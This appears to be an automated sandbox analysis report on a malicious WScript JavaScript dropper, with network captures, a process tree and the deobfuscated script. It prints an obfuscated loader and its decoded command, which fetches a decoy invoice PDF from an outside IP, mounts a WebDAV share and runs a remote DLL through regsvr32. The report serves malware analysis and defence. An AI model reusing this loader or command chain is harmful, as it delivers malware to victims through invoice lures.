Jan 11, 2025 08:47:37.354826927 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:47:37.354842901 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:47:37.354859114 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 08:47:37.354876041 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 08:47:37.354891062 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 08:47:37.354914904 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 08:47:37.354931116 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 08:47:37.354947090 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 08:47:37.354964018 CET	776	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 08:47:37.412771940 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7052	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:47:39.556725025 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:47:40.328211069 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:47:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:47:32
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js"
Imagebase:	0x7ff6d0250000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:47:32
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll
Imagebase:	0x7ff7fb240000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:47:32
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:47:33
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:47:37
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	02:47:38
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7fb240000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:47:38
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69ce80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:47:38
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:47:39
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:47:39
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1732,i,10135533958291103710,16445011062293474769,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function usopyaixj() {	usopyaixj() ➔ undefined
1	iqmseixb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gfjlg = this[ocwznu + zyxhcjr + pvqmqrpuf + acdavba + rqejbwy + vbfbsf + cjbhqms + yftajyvn] ( this[crevn + zgdbnka + notusonx + pvqmqrpuf + gfuzdh + ocwznu + yftajyvn][ppiomuccl + pvqmqrpuf + rqejbwy + zyxhcjr + yftajyvn + rqejbwy + rkdgru + hentwmj + jursje + rqejbwy + notusonx + yftajyvn] ( crevn + zgdbnka + notusonx + pvqmqrpuf + gfuzdh + ocwznu + yftajyvn + krsjhugk + zgdbnka + wyztj + rqejbwy + dkmljuyc + dkmljuyc ) [pgwaae + rqejbwy + xpeyfvpos + pgwaae + rqejbwy + zyxhcjr + clrfri] ( hhikhkkrb + rndrsxgod + ogfpteffr + rxysknagl + qmcswogpb + ppiomuccl + etyiihfji + pgwaae + pgwaae + ogfpteffr + mndlznw + eunwxdlrh + qmcswogpb + etyiihfji + zgdbnka + ogfpteffr + pgwaae + clsnoo + ppiomuccl + hnigstr + cjbhqms + yftajyvn + pvqmqrpuf + hnigstr + dkmljuyc + rpltgtp + sfsval + zyxhcjr + cjbhqms + rqejbwy + dkmljuyc + clsnoo + vbfbsf + cjbhqms + yftajyvn + rqejbwy + pvqmqrpuf + cjbhqms + zyxhcjr + yftajyvn + gfuzdh + hnigstr + cjbhqms + zyxhcjr + dkmljuyc + clsnoo + hvxmxh + hnigstr + notusonx + zyxhcjr + dkmljuyc + rqejbwy ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wypjxwx = 0 ; wypjxwx < iqmseixb[dkmljuyc + rqejbwy + cjbhqms + xpeyfvpos + yftajyvn + wyztj] ; ++ wypjxwx )
4	{
5	if ( gfjlg == iqmseixb[wypjxwx] )
6	{
7	gfjlg = true;
8	break ;
9	}
10	}
11	if ( gfjlg !== true )
12	this[crevn + zgdbnka + notusonx + pvqmqrpuf + gfuzdh + ocwznu + yftajyvn][xalgqga + oadufimrb + gfuzdh + yftajyvn] ( );
13	this[crevn + zgdbnka + notusonx + pvqmqrpuf + gfuzdh + ocwznu + yftajyvn][ppiomuccl + pvqmqrpuf + rqejbwy + zyxhcjr + yftajyvn + rqejbwy + rkdgru + hentwmj + jursje + rqejbwy + notusonx + yftajyvn] ( crevn + zgdbnka + notusonx + pvqmqrpuf + gfuzdh + ocwznu + yftajyvn + krsjhugk + zgdbnka + wyztj + rqejbwy + dkmljuyc + dkmljuyc ) [pvqmqrpuf + oadufimrb + cjbhqms] ( notusonx + obrybin + clrfri + rpltgtp + szehmqg + notusonx + rpltgtp + ocwznu + hnigstr + ylvuany + rqejbwy + pvqmqrpuf + acdavba + wyztj + rqejbwy + dkmljuyc + dkmljuyc + krsjhugk + rqejbwy + urqwbtamv + rqejbwy + rpltgtp + uugoibhs + ppiomuccl + hnigstr + obrybin + obrybin + zyxhcjr + cjbhqms + clrfri + rpltgtp + udswqzt + vbfbsf + cjbhqms + mliou + hnigstr + hmpsy + rqejbwy + uugoibhs + crevn + rqejbwy + hentwmj + pgwaae + rqejbwy + bxzfuum + oadufimrb + rqejbwy + acdavba + yftajyvn + rpltgtp + uugoibhs + rkdgru + oadufimrb + yftajyvn + ppcmgvoq + gfuzdh + dkmljuyc + rqejbwy + rpltgtp + qbgbqbb + yftajyvn + rqejbwy + obrybin + ocwznu + qbgbqbb + clsnoo + gfuzdh + cjbhqms + mliou + hnigstr + gfuzdh + notusonx + rqejbwy + krsjhugk + ocwznu + clrfri + xhgoqbvg + rpltgtp + wyztj + yftajyvn + yftajyvn + ocwznu + uoehxbs + szehmqg + szehmqg + kwbdqpkme + bpakcahe + idqij + krsjhugk + kwbdqpkme + avovp + idqij + krsjhugk + kwbdqpkme + krsjhugk + ecasjtxg + vxseex + opwfsf + szehmqg + gfuzdh + cjbhqms + mliou + hnigstr + gfuzdh + notusonx + rqejbwy + krsjhugk + ocwznu + wyztj + ocwznu + udswqzt + vnljycj + vnljycj + acdavba + yftajyvn + zyxhcjr + pvqmqrpuf + yftajyvn + rpltgtp + qbgbqbb + yftajyvn + rqejbwy + obrybin + ocwznu + qbgbqbb + clsnoo + gfuzdh + cjbhqms + mliou + hnigstr + gfuzdh + notusonx + rqejbwy + krsjhugk + ocwznu + clrfri + xhgoqbvg + vnljycj + vnljycj + notusonx + obrybin + clrfri + rpltgtp + szehmqg + notusonx + rpltgtp + cjbhqms + rqejbwy + yftajyvn + rpltgtp + oadufimrb + acdavba + rqejbwy + rpltgtp + clsnoo + clsnoo + kwbdqpkme + bpakcahe + idqij + krsjhugk + kwbdqpkme + avovp + idqij + krsjhugk + kwbdqpkme + krsjhugk + ecasjtxg + vxseex + opwfsf + vpdopge + errdz + errdz + errdz + errdz + clsnoo + clrfri + zyxhcjr + mliou + ylvuany + ylvuany + ylvuany + pvqmqrpuf + hnigstr + hnigstr + yftajyvn + clsnoo + vnljycj + vnljycj + notusonx + obrybin + clrfri + rpltgtp + szehmqg + notusonx + rpltgtp + pvqmqrpuf + rqejbwy + xpeyfvpos + acdavba + mliou + pvqmqrpuf + idqij + ecasjtxg + rpltgtp + szehmqg + acdavba + rpltgtp + clsnoo + clsnoo + kwbdqpkme + bpakcahe + idqij + krsjhugk + kwbdqpkme + avovp + idqij + krsjhugk + kwbdqpkme + krsjhugk + ecasjtxg + vxseex + opwfsf + vpdopge + errdz + errdz + errdz + errdz + clsnoo + clrfri + zyxhcjr + mliou + ylvuany + ylvuany + ylvuany + pvqmqrpuf + hnigstr + hnigstr + yftajyvn + clsnoo + kwbdqpkme + ehffbadyh + ehffbadyh + opwfsf + avovp + ecasjtxg + drintsr + idqij + ehffbadyh + errdz + ecasjtxg + vxseex + drintsr + idqij + vxseex + krsjhugk + clrfri + dkmljuyc + dkmljuyc, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll",0,false) ➔ 0
14	}
15	acdavba = "m";
16	acdavba = "e";
17	acdavba = "P";
18	acdavba = "X";
19	acdavba = "r";
20	acdavba = "u";
21	acdavba = "b";
22	acdavba = "b";
23	acdavba = "F";
24	acdavba = "c";
25	acdavba = "C";
26	acdavba = "o";
27	acdavba = "N";
28	acdavba = "K";
29	acdavba = "s";
30	vpdopge = "r";
31	vpdopge = "r";
32	vpdopge = "m";
33	vpdopge = "c";
34	vpdopge = "r";
35	vpdopge = "m";
36	vpdopge = "R";
37	vpdopge = "@";
38	jursje = "A";
39	jursje = "A";
40	jursje = "J";
41	jursje = "S";
42	jursje = "D";
43	jursje = "y";
44	jursje = "n";
45	jursje = "T";
46	jursje = "x";
47	jursje = "h";
48	jursje = "e";
49	jursje = "T";
50	jursje = "t";
51	jursje = "j";
52	rkdgru = "F";
53	rkdgru = "d";
54	rkdgru = "N";
55	rkdgru = "e";
56	rkdgru = "p";
57	rkdgru = "R";
58	rkdgru = "z";
59	rkdgru = "q";
60	rkdgru = "n";
61	rkdgru = "B";
62	rkdgru = "M";
63	rkdgru = "h";
64	rkdgru = "Y";
65	rkdgru = "t";
66	rkdgru = "O";
67	vbfbsf = "v";
68	vbfbsf = "y";
69	vbfbsf = "g";
70	vbfbsf = "Z";
71	vbfbsf = "I";
72	kwbdqpkme = "J";
73	kwbdqpkme = "S";
74	kwbdqpkme = "t";
75	kwbdqpkme = "P";
76	kwbdqpkme = "b";
77	kwbdqpkme = "w";
78	kwbdqpkme = "N";
79	kwbdqpkme = "a";
80	kwbdqpkme = "Y";
81	kwbdqpkme = "b";
82	kwbdqpkme = "J";
83	kwbdqpkme = "M";
84	kwbdqpkme = "t";
85	kwbdqpkme = "v";
86	kwbdqpkme = "l";
87	kwbdqpkme = "a";
88	kwbdqpkme = "v";
89	kwbdqpkme = "a";
90	kwbdqpkme = "K";
91	kwbdqpkme = "A";
92	kwbdqpkme = "j";
93	kwbdqpkme = "m";
94	kwbdqpkme = "v";
95	kwbdqpkme = "l";
96	kwbdqpkme = "K";
97	kwbdqpkme = "L";
98	kwbdqpkme = "Z";
99	kwbdqpkme = "1";
100	idqij = "V";
101	idqij = "A";
102	idqij = "c";
103	idqij = "B";
104	idqij = "N";
105	idqij = "N";
106	idqij = "n";
107	idqij = "h";
108	idqij = "m";
109	idqij = "s";
110	idqij = "Y";
111	idqij = "L";
112	idqij = "V";
113	idqij = "T";
114	idqij = "A";
115	idqij = "n";
116	idqij = "c";
117	idqij = "Q";
118	idqij = "Y";
119	idqij = "i";
120	idqij = "z";
121	idqij = "a";
122	idqij = "n";
123	idqij = "b";
124	idqij = "e";
125	idqij = "c";
126	idqij = "C";
127	idqij = "h";
128	idqij = "y";
129	idqij = "H";
130	idqij = "x";
131	idqij = "e";
132	idqij = "f";
133	idqij = "L";
134	idqij = "K";
135	idqij = "R";
136	idqij = "R";
137	idqij = "K";
138	idqij = "B";
139	idqij = "r";
140	idqij = "Q";
141	idqij = "3";
142	uoehxbs = "T";
143	uoehxbs = "o";
144	uoehxbs = "v";
145	uoehxbs = "t";
146	uoehxbs = "P";
147	uoehxbs = "V";
148	uoehxbs = "h";
149	uoehxbs = "n";
150	uoehxbs = "j";
151	uoehxbs = "n";
152	uoehxbs = "x";
153	uoehxbs = "M";
154	uoehxbs = "U";
155	uoehxbs = "f";
156	uoehxbs = "j";
157	uoehxbs = "n";
158	uoehxbs = "c";
159	uoehxbs = "t";
160	uoehxbs = "i";
161	uoehxbs = "D";
162	uoehxbs = "R";
163	uoehxbs = "H";
164	uoehxbs = "J";
165	uoehxbs = "L";
166	uoehxbs = "h";
167	uoehxbs = "X";
168	uoehxbs = "n";
169	uoehxbs = "b";
170	uoehxbs = "M";
171	uoehxbs = "a";
172	uoehxbs = "m";
173	uoehxbs = "g";
174	uoehxbs = "J";
175	uoehxbs = "n";
176	uoehxbs = "g";
177	uoehxbs = "U";
178	uoehxbs = "v";
179	uoehxbs = "E";
180	uoehxbs = "i";
181	uoehxbs = "i";
182	uoehxbs = ":";
183	ogfpteffr = "G";
184	ogfpteffr = "Z";
185	ogfpteffr = "N";
186	ogfpteffr = "I";
187	ogfpteffr = "S";
188	ogfpteffr = "K";
189	ogfpteffr = "b";
190	ogfpteffr = "R";
191	ogfpteffr = "y";
192	ogfpteffr = "W";
193	ogfpteffr = "Y";
194	ogfpteffr = "d";
195	ogfpteffr = "c";
196	ogfpteffr = "f";
197	ogfpteffr = "N";
198	ogfpteffr = "j";
199	ogfpteffr = "w";
200	ogfpteffr = "M";
201	ogfpteffr = "i";
202	ogfpteffr = "I";
203	ogfpteffr = "o";
204	ogfpteffr = "E";
205	ppiomuccl = "t";
206	ppiomuccl = "u";
207	ppiomuccl = "r";
208	ppiomuccl = "B";
209	ppiomuccl = "h";
210	ppiomuccl = "i";
211	ppiomuccl = "G";
212	ppiomuccl = "k";
213	ppiomuccl = "x";
214	ppiomuccl = "E";
215	ppiomuccl = "C";
216	pvqmqrpuf = "r";
217	pvqmqrpuf = "k";
218	pvqmqrpuf = "h";
219	pvqmqrpuf = "J";
220	pvqmqrpuf = "H";
221	pvqmqrpuf = "E";
222	pvqmqrpuf = "T";
223	pvqmqrpuf = "S";
224	pvqmqrpuf = "A";
225	pvqmqrpuf = "n";
226	pvqmqrpuf = "c";
227	pvqmqrpuf = "v";
228	pvqmqrpuf = "W";
229	pvqmqrpuf = "G";
230	pvqmqrpuf = "O";
231	pvqmqrpuf = "G";
232	pvqmqrpuf = "S";
233	pvqmqrpuf = "Q";
234	pvqmqrpuf = "G";
235	pvqmqrpuf = "B";
236	pvqmqrpuf = "x";
237	pvqmqrpuf = "F";
238	pvqmqrpuf = "O";
239	pvqmqrpuf = "A";
240	pvqmqrpuf = "E";
241	pvqmqrpuf = "i";
242	pvqmqrpuf = "P";
243	pvqmqrpuf = "s";
244	pvqmqrpuf = "g";
245	pvqmqrpuf = "z";
246	pvqmqrpuf = "j";
247	pvqmqrpuf = "r";
248	ppcmgvoq = "m";
249	ppcmgvoq = "B";
250	ppcmgvoq = "U";
251	ppcmgvoq = "F";
252	oadufimrb = "c";
253	oadufimrb = "Q";
254	oadufimrb = "F";
255	oadufimrb = "a";
256	oadufimrb = "R";
257	oadufimrb = "T";
258	oadufimrb = "w";
259	oadufimrb = "v";
260	oadufimrb = "q";
261	oadufimrb = "p";
262	oadufimrb = "F";
263	oadufimrb = "S";
264	oadufimrb = "L";
265	oadufimrb = "E";
266	oadufimrb = "P";
267	oadufimrb = "z";
268	oadufimrb = "k";
269	oadufimrb = "Z";
270	oadufimrb = "U";
271	oadufimrb = "h";
272	oadufimrb = "P";
273	oadufimrb = "W";
274	oadufimrb = "p";
275	oadufimrb = "t";
276	oadufimrb = "I";
277	oadufimrb = "m";
278	oadufimrb = "u";
279	hentwmj = "a";
280	hentwmj = "Y";
281	hentwmj = "v";
282	hentwmj = "V";
283	hentwmj = "F";
284	hentwmj = "N";
285	hentwmj = "b";
286	hentwmj = "J";
287	hentwmj = "T";
288	hentwmj = "b";
289	hentwmj = "C";
290	hentwmj = "r";
291	hentwmj = "H";
292	hentwmj = "X";
293	hentwmj = "P";
294	hentwmj = "K";
295	hentwmj = "T";
296	hentwmj = "S";
297	hentwmj = "x";
298	hentwmj = "S";
299	hentwmj = "o";
300	hentwmj = "w";
301	hentwmj = "g";
302	hentwmj = "S";
303	hentwmj = "m";
304	hentwmj = "f";
305	hentwmj = "o";
306	hentwmj = "M";
307	hentwmj = "j";
308	hentwmj = "J";
309	hentwmj = "Y";
310	hentwmj = "M";
311	hentwmj = "J";
312	hentwmj = "b";
313	yftajyvn = "f";
314	yftajyvn = "t";
315	mliou = "F";
316	mliou = "j";
317	mliou = "g";
318	mliou = "y";
319	mliou = "V";
320	mliou = "v";
321	mliou = "F";
322	mliou = "N";
323	mliou = "v";
324	mliou = "B";
325	mliou = "A";
326	mliou = "J";
327	mliou = "M";
328	mliou = "u";
329	mliou = "p";
330	mliou = "j";
331	mliou = "f";
332	mliou = "G";
333	mliou = "c";
334	mliou = "P";
335	mliou = "d";
336	mliou = "Q";
337	mliou = "f";
338	mliou = "H";
339	mliou = "s";
340	mliou = "i";
341	mliou = "X";
342	mliou = "g";
343	mliou = "y";
344	mliou = "o";
345	mliou = "L";
346	mliou = "v";
347	opwfsf = "z";
348	opwfsf = "M";
349	opwfsf = "b";
350	opwfsf = "s";
351	opwfsf = "v";
352	opwfsf = "i";
353	opwfsf = "F";
354	opwfsf = "w";
355	opwfsf = "b";
356	opwfsf = "x";
357	opwfsf = "a";
358	opwfsf = "U";
359	opwfsf = "o";
360	opwfsf = "e";
361	opwfsf = "P";
362	opwfsf = "l";
363	opwfsf = "B";
364	opwfsf = "J";
365	opwfsf = "i";
366	opwfsf = "j";
367	opwfsf = "Q";
368	opwfsf = "G";
369	opwfsf = "F";
370	opwfsf = "H";
371	opwfsf = "x";
372	opwfsf = "C";
373	opwfsf = "e";
374	opwfsf = "b";
375	opwfsf = "r";
376	opwfsf = "W";
377	opwfsf = "b";
378	opwfsf = "a";
379	opwfsf = "g";
380	opwfsf = "g";
381	opwfsf = "5";
382	clsnoo = "e";
383	clsnoo = "I";
384	clsnoo = "g";
385	clsnoo = "S";
386	clsnoo = "V";
387	clsnoo = "m";
388	clsnoo = "U";
389	clsnoo = "F";
390	clsnoo = "J";
391	clsnoo = "h";
392	clsnoo = "z";
393	clsnoo = "M";
394	clsnoo = "S";
395	clsnoo = "y";
396	clsnoo = "t";
397	clsnoo = "S";
398	clsnoo = "\\";
399	pgwaae = "U";
400	pgwaae = "a";
401	pgwaae = "Z";
402	pgwaae = "E";
403	pgwaae = "C";
404	pgwaae = "q";
405	pgwaae = "m";
406	pgwaae = "H";
407	pgwaae = "c";
408	pgwaae = "S";
409	pgwaae = "w";
410	pgwaae = "y";
411	pgwaae = "L";
412	pgwaae = "Q";
413	pgwaae = "c";
414	pgwaae = "q";
415	pgwaae = "b";
416	pgwaae = "V";
417	pgwaae = "D";
418	pgwaae = "w";
419	pgwaae = "M";
420	pgwaae = "r";
421	pgwaae = "I";
422	pgwaae = "E";
423	pgwaae = "i";
424	pgwaae = "y";
425	pgwaae = "q";
426	pgwaae = "p";
427	pgwaae = "w";
428	pgwaae = "Q";
429	pgwaae = "Q";
430	pgwaae = "X";
431	pgwaae = "v";
432	pgwaae = "M";
433	pgwaae = "g";
